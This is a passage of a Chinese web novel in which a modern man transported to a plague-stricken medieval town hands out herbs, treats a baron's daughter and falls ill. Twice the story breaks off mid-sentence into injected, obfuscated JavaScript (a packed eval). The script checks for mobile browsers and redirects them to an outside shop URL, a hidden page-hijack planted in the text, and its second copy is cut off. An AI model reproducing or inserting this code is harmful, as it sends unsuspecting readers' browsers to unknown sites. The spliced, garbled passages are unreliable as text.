抢购力度比双十一还猛,虽然抢的是发霉的面粉和不知道掺了什么的脏水。林越脑子里冒出这个念头,然后自己都觉得这对比有点荒谬——现代社会的消费狂欢和中世纪的生存挣扎,放在同一个天平上,轻得让人心慌。 他看到一个妇人抱着几卷粗布匆匆离开,布料的颜色是沉闷的灰色和褐色。做衣服?还是……林越摇摇头,把那个念头压下去。 市场另一边,有人在演讲。 不,不是演讲,是布道。约阿希姆神父站在一个木箱上,双手高举,声音洪亮得能在嘈杂的市场里被清楚听到: “……瘟疫是神对罪人的清洗!是我们偏离了神的道路,是我们堕入了罪恶的深渊!忏悔吧,我的孩子们!祈祷吧!唯有真诚的忏悔和祈祷,才能平息神的怒火!” 周围聚集了二十几个人,有的低头祈祷,有的满脸虔诚,有的眼神迷茫。 神父继续:“那些试图用草药治病的人,那些讨论如何‘防治瘟疫’的人,他们是在质疑神的意志!他们是在用人的智慧挑战神的天罚!” 人群中有人附和:“对!神父说得对!” “我们该忏悔,不该找药!” “那些生病的人,肯定是罪孽深重!” 林越站在人群外围,听着这些话,心里涌起一股复杂的情绪。有愤怒,但更多的是无力。他知道这种思维在中世纪有多普遍,知道宗教在解释未知灾难时的力量。但他还是忍不住想:如果忏悔能治病,那还要医生干什么?如果祈祷能退烧,那人类这几千年医学发展算什么? 但他什么都没说。他只是转身离开,朝玛格丽特婆婆的小屋走去。 离小屋还有几十米时,林越就看到了队伍。 从门口排出来的队伍,大概有十五六个人,沿着墙根站成一列。大多数是妇人,也有几个男人,都低着头,手里拿着各种容器——陶罐、木碗、布包。队伍很安静,没有人交谈,只有偶尔的咳嗽声和压抑的啜泣声。 林越绕到小屋侧面,从后门进去——这是婆婆之前告诉他的“学徒通道”。 推门进去时,草药的气味比以往任何时候都浓烈。玛格丽特婆婆站在工作台前,背对着门,正在快速分装某种干叶子。她的动作依然稳定,但林越能看到她肩膀的弧度透出的疲惫。 “婆婆。”林越轻声打招呼。 玛格丽特回头看了他一眼,点点头,没说话,继续手里的活。 林越走过去,看到工作台上摆着几个大布袋,里面分别是薄荷、薰衣草、还有几种他不认识的草药。每个布袋都空了一小半。 “需要帮忙吗?”林越问。 婆婆停下来,擦了擦额头的汗:“薄荷和薰衣草快没了。退热草药,”她指了指其中一个布袋,“也只够几天。” 她顿了顿,看着林越:“外面的人……很多是孩子发烧。” 林越没说话。他看着婆婆的眼睛,那双布满皱纹的眼睛里有疲惫,有担忧,还有某种他熟悉的东西——那种“明知不可为而为之”的坚持。 “如果你愿意,”婆婆声音很轻,“可以帮我配药。我分装,你交给外面的人。这样快些。” 林越感到胃部收紧了一下。 帮忙配药,意味着更直接的接触。意味着他要接过病患家属递来的容器,要近距离闻到他们身上的气味,要看到他们脸上的绝望和希望。意味着感染风险从“理论可能”变成“实际存在”。 他脑子里自动开始计算: 已知条件1:鼠疫通过跳蚤叮咬传播,但也可能通过飞沫传播(病患咳嗽、打喷嚏)。 已知条件2:近距离接触(三米内)传播概率显著增加。 已知条件3:中世纪无有效防护手段(没有N95,没有防护服,没有消毒酒精)。 已知条件4:死亡机会剩余两次。 结论:风险等级高,建议拒绝。 但他看着婆婆疲惫的脸,听着门外隐约传来的孩子的哭声,那个“拒绝”在喉咙里卡住了。 “好。”林越说,声音比自己预想的要平静,“但我需要做些准备。” 婆婆点点头,眼里闪过一丝感激,但很快又被疲惫淹没。 林越走到后门旁的水缸边,用木瓢舀水洗手。不是普通洗手,是按照记忆中的“七步洗手法”——虽然这里没有肥皂,但他用婆婆提供的醋水代替。手心,手背,指缝,指尖,手腕。洗得很仔细,像在完成某种宗教仪式。 然后他从包袱里找出一块相对干净的布,撕成两条,一条蒙住口鼻,在脑后系紧。另一条扎在头上,包住头发。最后检查一遍袜套和袖口,确认都扎紧了。 做完这些,他走到前门,深吸一口气,推开门。 门外的队伍瞬间安静下来,所有人都看向他。 林越看到十五六双眼睛,里面装满了各种情绪:希望、恐惧、哀求、麻木。他看到有人怀里抱着孩子,孩子脸烧得通红;有人扶着老人,老人咳嗽不止;有人独自站着,眼神空洞。 “一个一个来。”林越说,声音透过布巾有点闷,“把容器放在门口石阶上,退后三步。” 第一个人是个年轻母亲,怀里抱着婴儿。婴儿大概不到一岁,闭着眼睛,呼吸急促,脖颈侧面有一个明显的肿块,肿得发亮。 林越感觉胃部又收紧了一下。 “什么症状?”他问,声音尽量平稳。 “发热,从昨天开始。”母亲声音颤抖,“脖子这里……肿了。” 林越点点头,转身回屋。他从婆婆分装好的草药包里拿出一小份退热草药——主要是柳树皮和一些他不认识的叶子,用干草捆成一小束。 走回门口时,母亲已经退到三步外。林越把药束放在石阶上,然后自己也退后一步。 “回去煮水,煮开后小火熬一刻钟。”林越说,“喂孩子喝,一天三次。如果呕吐或者……更严重,再来。” 母亲点点头,眼泪流下来。她快步上前拿起药束,抱紧孩子,转身跑走了。 林越看着她跑远的背影,心里想:这社交距离比疫情期间还严格。虽然中世纪没有“社交距离”这个概念——他们只有“死了就距离了”。 第二个是个中年男人,扶着一位老妇人。老妇人咳嗽得很厉害,每咳一声身体就剧烈颤抖。 “发热吗?”林越问。 “发热,还咳。”男人说,“两天了。” 林越又回去拿了一束药,同样放在石阶上,同样保持距离指导用法。 第三个,第四个,第五个…… 流程重复:询问症状,回去拿药,放在石阶上,保持距离指导,下一位。 林越逐渐进入一种机械化的状态。他的大脑分成两个部分:一部分在执行任务——拿药,放药,说话;另一部分在持续监测——检查自己的呼吸(有没有太急促),检查皮肤感觉(有没有发痒),检查时间(每个人不能超过一分钟)。 到第十个人时,他停下来,回到屋里洗手。醋水倒在手上,冰凉刺鼻,但他洗得很认真。婆婆看了他一眼,没说话,继续分装草药。 洗完手,他继续。 队伍缓慢前进。有人拿到药后道谢,有人只是默默拿起药离开,有人想问更多问题,但林越用简洁的指令打断:“按刚才说的做,三天后如果没好再来。” 不是冷漠,是效率。在这种环境下,效率就是生存率。 最后一个是个小女孩,大概八九岁,独自一人。她拿着一个破旧的陶罐,怯生生地看着林越。 “你家里人呢?”林越问,声音不自觉地放轻了些。 “母亲病了,躺在床上。”小女孩声音很小,“父亲……昨天被钟声带走了。” 林越沉默了几秒。他回到屋里,这次多拿了一束药,还从自己的干粮里掰了一小块黑面包,一起放在石阶上。 “药煮给母亲喝,面包你自己吃。”林越说,“记住,碰过母亲的东西后要洗手,用清水洗,多洗几遍。” 小女孩点点头,拿起药和面包,小声说了句“谢谢”,然后跑走了。 林越看着她瘦小的背影消失在街角,然后关上木门。 他靠在门板上,长长地吐出一口气。直到这时,他才感觉到身体的紧绷——肩膀僵硬,手指微颤,心跳比平时快。成就感?有一点,但很快就被“后怕”取代。 他刚才接触了十六个病患家属。十六次近距离(虽然保持了三米)接触。十六次潜在感染风险。 他走到水缸边,再次洗手。这次洗得更久,更用力,指甲缝都仔细搓过。 “谢谢。”婆婆的声音从背后传来。 林越回头,看到婆婆站在工作台旁,看着他,眼神复杂。 “不客气。”林越说,声音有点干涩。 “你做得很好。”婆婆说,“比我想象的更好。” 林越不知道该怎么回应。他做的只是最基本的防护,最基本的流程控制。放在现代,这大概连“合格”都算不上。但在这里,在这个时代,这已经是极限了。 他走到窗边,透过缝隙看外面的街道。天色暗下来了,暮色笼罩灰石镇。街道上几乎没有人,偶尔有身影匆匆走过,也很快消失在门后。 这个小镇正在沉入夜晚,但林越知道,这个夜晚会很长,很冷,很难熬。 而他手腕上的两道红痕,在渐暗的光线里,依然红得刺眼。 回到旅店房间时,天已经完全黑了。林越点亮油灯,昏黄的光线勉强照亮房间一角。 他做的第一件事,还是检查。 脱掉上衣,仔细看皮肤。胳膊,胸口,后背——没有新红点。他松了口气,但知道检查还没完。解开裤腿上的布条袜套,露出脚踝。 然后他看到了。 右脚踝外侧,靠近骨头凸起的地方,一个新鲜的红点。很小,但确实是新的,中央有个微小的凸起,摸上去有点痒。 跳蚤突破了防线。 林越盯着那个红点看了十秒,然后慢慢坐下。油灯的光在他脸上跳动,投下晃动的阴影。 防护体系不完美。他早就知道,但知道和亲眼看到是两回事。就像你知道纸糊的墙挡不住风,但真正看到风吹破纸的那一刻,那种“果然如此”的感觉里,还是掺杂着一丝失望。 他抬起手腕看红痕。两道鲜艳的红色在油灯光下像两滴血。死亡机会剩余两次,而跳蚤刚刚证明了一件事:在这个世界里,防护只能“降低概率”,不能“绝对防护”。 概率游戏。林越脑子里冒出这个词。他之前的世界里也玩概率游戏——项目成功率、投资回报率、代码bug出现概率。但那些游戏赌的是钱,是时间,是职业发展。这里的游戏赌的是命。 他站起来,从包袱里找出几块更厚的碎布,开始升级防护。袜套拆下来,加一层布,重新扎紧,扎得更紧,紧到有点勒脚。香包打开,把剩下的薄荷叶全部塞进去,虽然知道效果有限——跳蚤对薄荷的敏感度大概跟现代人对“心灵鸡汤”的敏感度差不多,有点用,但别指望太多。 做完这些,他坐在床边,看着自己升级后的“装备”。行为意义大于实际意义。做了,至少感觉自己还在“控制局面”。虽然这控制可能只是幻觉,但幻觉在绝境里也是一种必需品。 第二天清晨,教堂钟声又响了。 这次是四下:咚,咚,咚,咚。 林越站在窗边听着。四下,四个新的死亡。他不知道是谁,不知道在哪条街,不知道是男是女是老是少。他只知道数字在增加,像某种残酷的倒计时。 出门时,他决定绕远路去玛格丽特婆婆的小屋,想看看灰石镇的街道变成了什么样子。 他看到了。 东街一户人家门口,摆着几个陶罐。陶罐里装着水——不,不是水,是某种浑浊的液体,表面漂着灰烬。驱邪?还是某种葬礼仪式?林越不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197398|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不想知道。 西街的面包坊关门了,木板门上用炭笔画了个歪歪扭扭的十字。窗户破了,但没人修补。 走到一条小巷口时,林越听到了争吵声。 “……滚出去!别在这里传染给我们!” “我……我没地方去……” “那是你的事!你想害死我们全家吗?” 林越停下脚步,躲在巷口墙角,小心地探头看去。 巷子里,一个中年男人正把一个老人往外推。老人站不稳,踉跄几步,跌坐在墙根。他穿着单薄的衣服,脸烧得通红,咳嗽不止。 “我……我只是发热……”老人声音虚弱。 “发热就是瘟疫!你想让我们都死吗?”中年男人声音尖利,带着恐惧催生出来的愤怒,“我家里有孩子,有老人,我不能让你留在这里!” 老人还想说什么,但一阵剧烈的咳嗽打断了他。他蜷缩在地上,身体颤抖。 中年男人后退几步,从地上捡起一块石头,远远扔过去。石头没砸中老人,落在旁边,发出沉闷的撞击声。 “滚!再不滚我打死你!” 林越看着这一幕,胃部收紧。他看到恐惧正在将人性中最丑陋的部分激发出来。灰石镇从“中世纪小镇”正在变成“人性压力测试场”——给你足够的压力,看看你会变成什么样。有的人变成囤积狂,有的人变成逃亡者,有的人变成审判者。 老人挣扎着想站起来,但失败了。他靠在墙上,闭上眼睛,呼吸急促。 中年男人又捡起一块石头。 林越深吸一口气,然后从墙角走出来,但保持足够远的距离。他看向中年男人,声音不大但清晰: “玛格丽特婆婆那里有退热草药。” 中年男人转过头,警惕地看着他:“你是谁?” “路过的人。”林越说,“只是传个话。去不去,你们自己决定。” 说完,他转身离开,没有回头,没有停留。他没有靠近老人,没有试图帮助他站起来,没有谴责中年男人。他只是提供了一句话,一个信息。 这是他在“自保”与“助人”之间找到的平衡点——提供信息,不提供接触。提供可能性,不提供保证。 走远后,林越才允许自己回头看了一眼。巷子里,中年男人还站在那里,手里的石头已经放下了。他看着墙根的老人,表情复杂。 林越不知道最后会怎样。也许男人会去拿药,也许不会。也许老人会自己爬起来去求药,也许就死在那里。他不知道,也无法控制。 他继续往前走,手腕上的红痕在晨光里隐约发烫。 每次做出帮助决定前,他都会看一眼手腕。两道鲜艳的红色像两个警告灯,无声地提醒:机会有限,生命有限。你只有两次犯错的机会,用完就没了。 他开始理解“有限救助原则”的真正含义。不是不救,而是在确保自己存活的前提下,救能救的人。就像急救原则——先确保环境安全,再施救。如果环境不安全,你自己先死,那还救什么人? 这听起来冷酷,但在这种环境下,冷酷是生存的必需品。 走到玛格丽特婆婆的小屋时,门外的队伍比昨天短了些,但等待的人表情更绝望。林越从后门进去,看到婆婆正在整理所剩无几的草药。 “薄荷彻底没了。”婆婆说,声音平静,但平静底下有某种沉重的东西,“薰衣草还有一点,退热草药……大概还够十个人。” 十个人。林越看了眼门外,队伍至少有十五人。 “领主那边来人了。”婆婆突然说。 林越转头看她。 “领主的女儿安娜,昨天开始发热。”婆婆说,“今天早晨,脖颈出现肿块。领主派人来请我去看诊。” 林越等待下文。他知道婆婆年迈体弱,走不到城堡——城堡在灰石镇东边的山丘上,有一段不短的山路。 婆婆看着他,眼神复杂:“如果你愿意……可以替我去。” 林越感觉时间慢了下来。他能听到自己的心跳,能听到门外隐约的啜泣声,能听到远处教堂隐约的钟声。 “城堡情况更复杂。”婆婆继续说,声音很轻,“那里人多,仆人,守卫,贵族。如果安娜真的是鼠疫……传染风险更大。而且贵族……”她顿了顿,“他们的要求更多,更难应付。” 林越明白她的意思。平民病患家属大多感激,贵族可能更挑剔,更怀疑,更……危险。治好了是应该的,治不好可能被迁怒。 “但如果你能帮上忙,”婆婆说,“领主会感激。在中世纪,贵族感激可能……很有用。” 保命符。林越脑子里冒出这个词。在这个封建等级森严的社会,获得领主的信任和感激,可能意味着食物,住所,保护,甚至可能在他用完红痕后,提供某种庇护。 但风险也很高。更高的感染风险,更复杂的社交环境,更不可控的变数。 他看着手腕上的红痕。两道鲜艳的红色在昏暗的光线里像两团小火苗。他在心里列出选项: 选项一:拒绝。最安全。继续在婆婆这里帮忙,虽然草药快没了,但风险可控。缺点是可能错过获得贵族庇护的机会。 选项二:接受。高风险,高回报。如果成功,可能获得领主的感激和庇护;如果失败或感染,可能直接消耗一道红痕。 死亡机会剩余两次。这意味着他不能犯两次错。一次犯错,还剩一次机会。两次犯错,游戏结束,进入惩罚世界。 他想起现代职场里的一句话:高风险项目,要么一战成名,要么直接毕业。只是这里的“毕业”,意思是死亡。 林越抬起头,看向婆婆。婆婆也在看他,眼神里有担忧,但没催促,没劝说。她把选择权完全交给他。 “好。”林越说,声音平静,“我去。但我需要做些准备。” 婆婆点点头,眼里的担忧没有减少,但多了些别的东西——也许是尊重,也许是欣慰。 “需要什么?”她问。 “多层布口罩。”林越开始列清单,“干净的布,越多层越好。还有手套——厚布手套。醋水,用来洗手。还有……”他想了想,“能让人保持清醒的草药,如果有的话。” 婆婆转身去准备。林越走到窗边,看向外面灰石镇的街道。 街道空荡荡的,偶尔有乌鸦飞过,落在屋顶,发出刺耳的叫声。远处教堂的轮廓在阴沉的天色里显得格外沉重。 他知道接下来要面对什么。城堡,贵族,病人,潜在的感染风险。但他也知道,在这个世界里,安全是相对的,风险是绝对的。躲在小屋里帮忙配药是安全,但草药快没了。拒绝城堡任务是安全,但可能错失关键机会。 每一次选择,都在赌命。这就是“无限死亡轮回”的本质——不是无限复活,是无限选择,而每个选择都带着死亡的重量。 婆婆把准备好的东西放在桌上:几块相对干净的布,一副厚布手套,一个小陶罐里装着醋水,还有一小束干叶子。 “迷迭香。”婆婆说,“嚼一点,能提神。但别太多,会头晕。” 林越点点头,开始制作多层布口罩。他把三块布叠在一起,缝成简易的口罩形状,两侧缝上布带。手套检查过,没有破损。醋水装进另一个小陶罐,塞进包袱。 做完这些,他重新检查全身防护:袜套扎紧,袖口扎紧,衣领袖口都扎紧。香包虽然快没味道了,但还是挂在腰间。 最后,他抬起手腕,看着那两道红痕。 “还剩两次。”他对自己说,“这次赌了。” 他背上包袱,推开门。外面等候的人群看向他,眼神里有疑问,有期待,有绝望。 林越没说话,只是对婆婆点点头,然后转身朝城堡方向走去。 街道在他脚下延伸,通往山丘,通往城堡,通往未知的风险和可能的机会。 他走得不快,但每一步都很稳。手腕上的红痕在行走中隐约发烫,像两个小小的警告灯,持续亮着。 他知道,跳蚤战争还没结束。真正的考验,刚刚开始。 36.鼠疫地狱 林越走在通往城堡的山路上,脚下的碎石在靴子底下嘎吱作响。 清晨的山路笼罩在薄雾里,能见度不高。林越走得很慢,一方面因为路不好走,另一方面因为他要时不时停下来检查防护。 多层布口罩捂得有点闷,呼吸的时候能感觉到布料贴在脸上,湿漉漉的。厚布手套让手指不太灵活,握拳、伸展都有点费劲。但他没摘——防护的意义就在于不方便,太方便的防护通常没什么用。 他边走边检查全身:袜套扎得够紧吗?袖口有没有缝隙?腰间的驱虫香包虽然早就没味道了,但还是挂着,像个心理安慰的护身符。 这套装备现在看起来像中世纪版的太空服。林越脑子里冒出这个念头,然后自己都觉得有点荒谬。太空服是为了在真空中生存,他这身是为了在瘟疫中生存。虽然防护效果大概跟雨衣防核弹差不多——心理安慰大于实际作用,但该穿还是得穿。 走到一个转弯处时,他停下来,回头看山下的灰石镇。 镇子笼罩在阴沉的天色里,像被一块灰色的布蒙住了。房屋的轮廓模糊不清,街道上看不到行人,只有偶尔升起的几缕炊烟,证明那里还有人活着。 然后他听到了钟声。 从镇子中心的教堂传来的钟声,隔着这么远距离,声音已经变得微弱,但依然能分辨出节奏:咚,咚,咚,咚。 四下。四个新的死亡。 林越站着听了一会儿,然后抬起手腕。两道鲜艳的红痕在昏暗的光线下依然刺眼,红得像刚画上去的血迹。 他看着那两道红痕,心里计算:死亡机会剩余两次。今天可能要用掉一次。 也可能不用。也许防护有效,也许运气够好,也许…… 他摇摇头,把“也许”压下去。在这种环境里,“也许”是最危险的想法。它让你放松警惕,让你心存侥幸,让你在应该逃跑的时候犹豫。 他继续往前走。 山路比想象中陡。林越平时体力不错,但戴着口罩呼吸不畅,加上心理压力,走了一段就开始喘气。他停下来,靠在路边一棵树上休息,摘下水囊喝了口水。 水是烧开后放凉的,带着点木炭过滤后的淡淡焦味。他喝得很小心,不让水碰到口罩。 休息了几分钟,他继续走。 大约又走了半小时,城堡的轮廓出现在视野里。 城堡建在山丘顶部,石墙在阴沉天色里显得格外沉重。城墙很高,瞭望塔上能看到人影晃动——应该是守卫。大门紧闭着,门前有一小片空地。 林越走到空地边缘时,大门旁边的小门开了,两个守卫走出来,手持长矛。 “站住!”一个守卫喊道,声音在空旷的山路上回荡。 林越停下脚步,举起双手,示意自己没有武器。 守卫走近,眼神警惕地打量他,重点打量他怪异的装束——口罩,手套,扎紧的袖口和裤腿。 “你是谁?来这里干什么?”守卫问。 “我是玛格丽特婆婆派来的。”林越说,声音透过口罩有点闷,“来看安娜小姐的病。” 守卫对视一眼,其中一个转身跑回城堡,大概是去通报。另一个留在原地,长矛尖对着林越,保持安全距离。 林越站在原地没动。他知道中世纪对“外来者”的警惕,尤其是在瘟疫时期。他能理解,甚至欣赏这种警惕——至少说明城堡里的人还有基本的防护意识。 几分钟后,那个守卫回来了,身后跟着一个中年男人。 男人穿着相对讲究的衣服——虽然不是华丽的贵族服饰,但布料比平民的好,裁剪也更合身。他脸上写满焦虑和疲惫,眼袋很深,胡子没刮干净。 “你就是玛格丽特派来的人?”男人问,声音沙哑。 “是。”林越点头,“婆婆年纪大了,走不了山路,让我来。” 男人——海因里希男爵,林越猜——盯着他的口罩看了几秒:“你那是什么?” “防护。”林越简单解释,“防止传染。” 海因里希沉默了一会儿,然后点点头:“跟我来。” 城堡内部比外面看起来更压抑。 石墙很厚,窗户很小,光线透进来有限,走廊里点着火把,但火把的光在石墙上跳动,投下晃动的阴影。仆人们匆匆走过,看到林越时都下意识避开,眼神里有警惕,有好奇,更多的是恐惧。 恐惧的气味。林越能闻到,即使隔着口罩。那是一种酸涩的、紧绷的气味,混在石头的霉味和火把的烟味里。 海因里希带他上楼梯,楼梯是石头的,踩上去很凉。上了两层,来到一条走廊尽头的一扇木门前。 “安娜在里面。”海因里希说,手放在门把上,但没推开,“你真的能治好她?” 林越看着他的眼睛。那双眼睛里有很多东西:父亲的焦虑,贵族的骄傲,绝望中的最后一丝希望。 “我不能保证治好。”林越说,声音平静,“我只能提供一些可能缓解症状的方法,降低传染风险。最终能不能好,要看……她的身体和运气。” 他说得很直接,没有掩饰,没有美化。因为在这种时候,虚假的希望比真实的绝望更残忍。 海因里希盯着他看了很久,然后深吸一口气,推开木门。 房间比走廊明亮些,因为有一扇相对大点的窗户。但窗户关着,房间里空气不流通,有股混合气味——草药味,汗味,还有疾病特有的甜腥味。 床上躺着一个人。 安娜,领主的女儿,看起来大概十五六岁。她闭着眼睛,脸烧得通红,嘴唇干裂。呼吸很急促,胸口起伏明显。被子盖到脖子,但林越能看到脖颈侧面有一个明显的肿块,肿得发亮,皮肤紧绷。 典型鼠疫症状。林越心里确认。 他走近床边,但保持距离——大概一米五。这个距离能看清症状,又不会太近。 “发热多久了?”他问。 “昨天开始的。”海因里希站在门边,没进来,“开始只是发热,今天早晨脖子肿了。” “有咳嗽吗?” “有一点。” “呕吐?腹泻?” “没有。” 林越点点头。腺鼠疫,淋巴型,还没发展到肺型或败血型。但这不一定是好消息——腺鼠疫死亡率也很高,尤其是在这个时代。 他观察了一会儿,然后退后,走到窗边。 “窗户要打开。”他说。 海因里希愣住:“打开?风会带病……” “不通风才会让病更重。”林越说,“空气流通能降低房间里的病菌浓度。当然,如果你们坚持不开,我也没办法。” 他说完,等海因里希反应。 中世纪人相信“风会带病”、“夜晚空气有害”,这种观念根深蒂固。但他必须提出建议,即使可能被拒绝。 海因里希沉默了几秒,然后对门外喊:“汉斯!” 一个仆人跑进来。 “把窗户打开一点。”海因里希说,“就一点。” 仆人犹豫了一下,但服从了。他走到窗边,推开一条缝。冷空气涌进来,带着山间的潮湿气息。 林越继续说建议,一条一条,清晰简洁: “第一,草药降温。柳树皮煮水,一天三次。不要用太热的,温的就行。” “第二,专人照顾。选一个身体好、不怕风险的人,只由这个人进出房间。其他人不要接触。” “第三,所有碰过安娜的东西——衣服,床单,餐具——都要用开水烫过。” “第四,照顾的人要勤洗手,碰任何东西前后都要洗。” 他每说一条,海因里希就点一下头,表情认真得像在听神谕。但林越知道,这根本不是神谕,只是最基本的感染控制常识。放在现代,这是医院护工入职培训的内容。 放在这里,这就是救命的知识。 说完后,林越补充:“这些方法可能缓解症状,让她舒服点。但无法治愈。最终能不能好,要看她的身体和运气。” 又是“运气”。海因里希听到这个词时,嘴角抽动了一下。 “我知道了。”他说,声音很轻,“做你能做的。” 不是感激,是绝望中的妥协。林越听出来了。 他跟着海因里希下楼,来到厨房,指导仆人如何熬柳树皮水——水量,火候,时间。仆人听得认真,但林越知道,在这种条件下,效果有限。 这大概相当于用维生素C治癌症。他脑子里闪过这个对比。聊胜于无,但总比什么都不做强。至少能让家属感觉“做了点什么”,至少能让病人少受点罪。 指导完,海因里希送他到城堡门口。 “谢谢你。”男爵说,这次语气真诚了些,“无论结果如何。” 林越点点头,没说话。他转身离开,走上山路。 走到第一个转弯处时,他回头看了一眼。城堡大门已经关上了,像一张沉默的嘴。窗户里透出微弱的光,在阴沉天色里像垂死者的眼睛。 他继续走。 但走着走着,他开始感觉有点……不对劲。 不是明显的症状。没有发热,没有咳嗽,没有疼痛。是某种更微妙的东西——身体似乎比平时沉重,呼吸在口罩里有点急促,心跳好像比平时快一点。 心理作用?林越想。可能是刚才紧张,可能是山路难走,可能是…… 他加快脚步,想快点回到旅店,好好检查一下。但山路似乎比来时更长,更陡,每一步都更费力。 中途他又停下来休息,靠在同一棵树上。这次他摘下手套,用自带醋水洗手。冰凉的醋水倒在手上,刺激皮肤,但他洗得很仔细。 洗完后,他抬起手,看着自己的手指。 手指在微微颤抖。 很轻微,不仔细看几乎察觉不到。但他看到了。 心理作用?还是…… 他不敢细想,戴回手套,继续赶路。这次他走得更快,几乎是小跑。口罩里的呼吸声越来越重,像拉风箱。 回到灰石镇时,天快黑了。 镇子街道上几乎没有人,偶尔有身影闪过,也很快消失在门后。教堂钟声又响了,这次是五下。五声,五个新的死亡。 林越先去了玛格丽特婆婆的小屋。门关着,但窗里有光。他敲敲门,等了一会儿,婆婆来开门。 婆婆看到他,眼神里有疲惫,但看到他的装束时,多了一丝欣慰——至少他还记得防护。 “城堡那边怎么样?”婆婆问。 “看了。”林越说,声音有点哑,“安娜确实是鼠疫。我给了些建议,但……” 他没说完,但婆婆懂了。她点点头,眼神黯淡。 “你还好吗?”婆婆突然问,盯着他的脸。 林越愣了一下:“有点累。” 但说完这句话,他突然感到一阵寒意。 不是天气的冷。天气确实凉,但这是深秋的凉意,是皮肤感受到的冷。而他此刻感觉到的冷,是从骨头里透出来的,从脊椎深处蔓延开来,瞬间席卷全身的冷。 他打了个寒战。 婆婆注意到了:“你……” “我没事。”林越打断她,声音比预想的急,“先回去了。” 他转身离开,走得很快,几乎是逃跑。婆婆在身后喊了什么,他没听清,也不想听清。 回到旅店,推开木门,大堂里空荡荡的。老板不在柜台,其他客人应该都在自己房间。林越直接上楼,回到自己房间,关上门,插上门闩。 然后他做的第一件事,是检查身体。 脱掉手套,仔细看手——没有红点,没有肿块。脱掉袜套,看脚踝——前天那个跳蚤包还在,颜色变暗了,但没有新的。 脱掉上衣,检查腋下、胸口、后背——没有异常。 防护装备完好,没有明显破损。 但当他抬手摸额头时,手心感受到的温度让他心里一沉。 发热。 不是很高的烧,但确实是发热。手心贴额头,能感觉到明显的温度差。 他脱掉所有衣服,站在房间中央,让微凉的空气接触皮肤。然后他抱住胳膊,发现自己身体在微微颤抖。 不是冷的颤抖,是发烧时的寒战。 认知过程在他脑子里自动展开,像程序执行: 第一步:“有点发冷,可能是累了,走山路出汗又吹风。” 第二步:“等等,这冷得不太正常。从骨头里冷出来。” 第三步:“额头温度……偏高。不是很高,但确实偏高。” 第四步:“身体在抖。寒战。” 第五步:“完了,中招了。” 防护极限被突破。 概率风险变成必然结果。 就像老板画的饼终于馊了——你知道它迟早会馊,你闻到了馊味的前兆,你告诉自己“也许还没全馊”,但当真的把饼凑到鼻子前,那股明显的馊味冲进鼻腔时,那种“果然如此”的感觉里,还是掺杂着一丝荒谬。 你知道会这样,但真的发生时,还是觉得……荒谬。 林越站在原地,光着身子,颤抖着,脑子里一片空白。不是恐惧的空白,是认知冲击后的短暂死机。 几秒后,系统重启。 他穿上衣服,不是慢慢穿,是机械地、快速地穿好。然后坐在床边,开始思考接下来怎么办。 症状:发热,寒战。没有淋巴结肿大(暂时),没有咳嗽呕吐(暂时)。早期鼠疫,可能还在潜伏期末期或发病初期。 治疗选择:没有。中世纪没有有效治疗。玛格丽特婆婆的草药?可能有点退热效果,但治不了鼠疫。 生存概率:在这个时代,腺鼠疫死亡率保守估计50%以上。考虑到他的身体状况(还算健康)和早期发现,也许死亡率低一点?但低不了多少。 死亡机会:还剩两次。这次可能要用掉一次。 他抬起手腕,看着两道红痕。两道都还鲜艳,但很快,可能就只剩一道了。 他看着那两道红色,看了很久。 然后他躺下,盖上被子,闭上眼睛。 睡一觉。也许明天就好了。也许只是普通感冒。也许…… 他在“也许”中睡着了。 第二天早晨,他是被症状唤醒的。 不是自然醒,是被高热和疼痛唤醒的。睁开眼睛时,头像是要裂开,太阳穴突突地跳。身体烫得像火炉,但同时又冷得发抖,肌肉酸痛,尤其是背部和腿部,痛得像被人用棍子打过。 他知道这不再是“也许”了。 他挣扎着坐起来,穿上衣服——动作很慢,因为每个关节都在痛。然后他背上包袱,推开门,下楼。 他要去玛格丽特婆婆那里。也许草药没用,但至少……至少要做点什么。 刚走到楼梯口,就遇到了老板。 老板端着早餐盘正要上楼,看到林越时,愣了一下。然后他的表情变了。 “你……”老板后退一步,眼睛盯着林越的脸,“你发热了?” 林越能看到老板眼中的惊恐,那种动物闻到危险时的本能反应。 他点头,想解释,想说“我只是需要点草药”,但老板已经大喊起来: “别过来!离远点!” 声音在空旷的楼梯间回荡。 其他房间的门开了,几个客人探出头。看到林越的状态后,他们的表情和老板一样——惊恐,然后是厌恶,然后是逃避。 “出去!”老板声音尖利,“你不能留在这里!” 林越试图争辩:“我有钱,我可以付更多房费……” “钱有什么用?”老板打断他,声音因为恐惧而扭曲,“你死了钱能救我吗?出去!现在就出去!不然我叫守卫了!” 林越看着周围。楼梯上,走廊里,几张脸在门缝后看着他。每张脸上都是同样的表情:恐惧催生出来的冷酷。 他知道没有选择。 他想起昨天在巷子里看到的那个老人,被邻居驱赶,躺在墙根等死。当时他觉得那很残酷,很丑陋。现在他理解了——不是理解那种行为,是理解那种逻辑。在生存威胁面前,人性会简化成最简单的算法:自己活,别人死。 他转身,慢慢下楼。脚步很沉,每一步都费劲。 老板在后面喊:“你的东西!” 林越没回头:“不要了。” 走出旅店,早晨的冷空气扑面而来。他打了个寒战,抱住胳膊,但寒冷是从内部透出来的,抱再紧也没用。 街道上有人,但看到他时都避开,远远绕行。他像一颗人形瘟疫炸弹,走到哪里,哪里就清空。 上次被这么嫌弃,还是大学时感冒了室友让我别回宿舍。林越脑子里冒出这个念头,然后自己都觉得有点可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 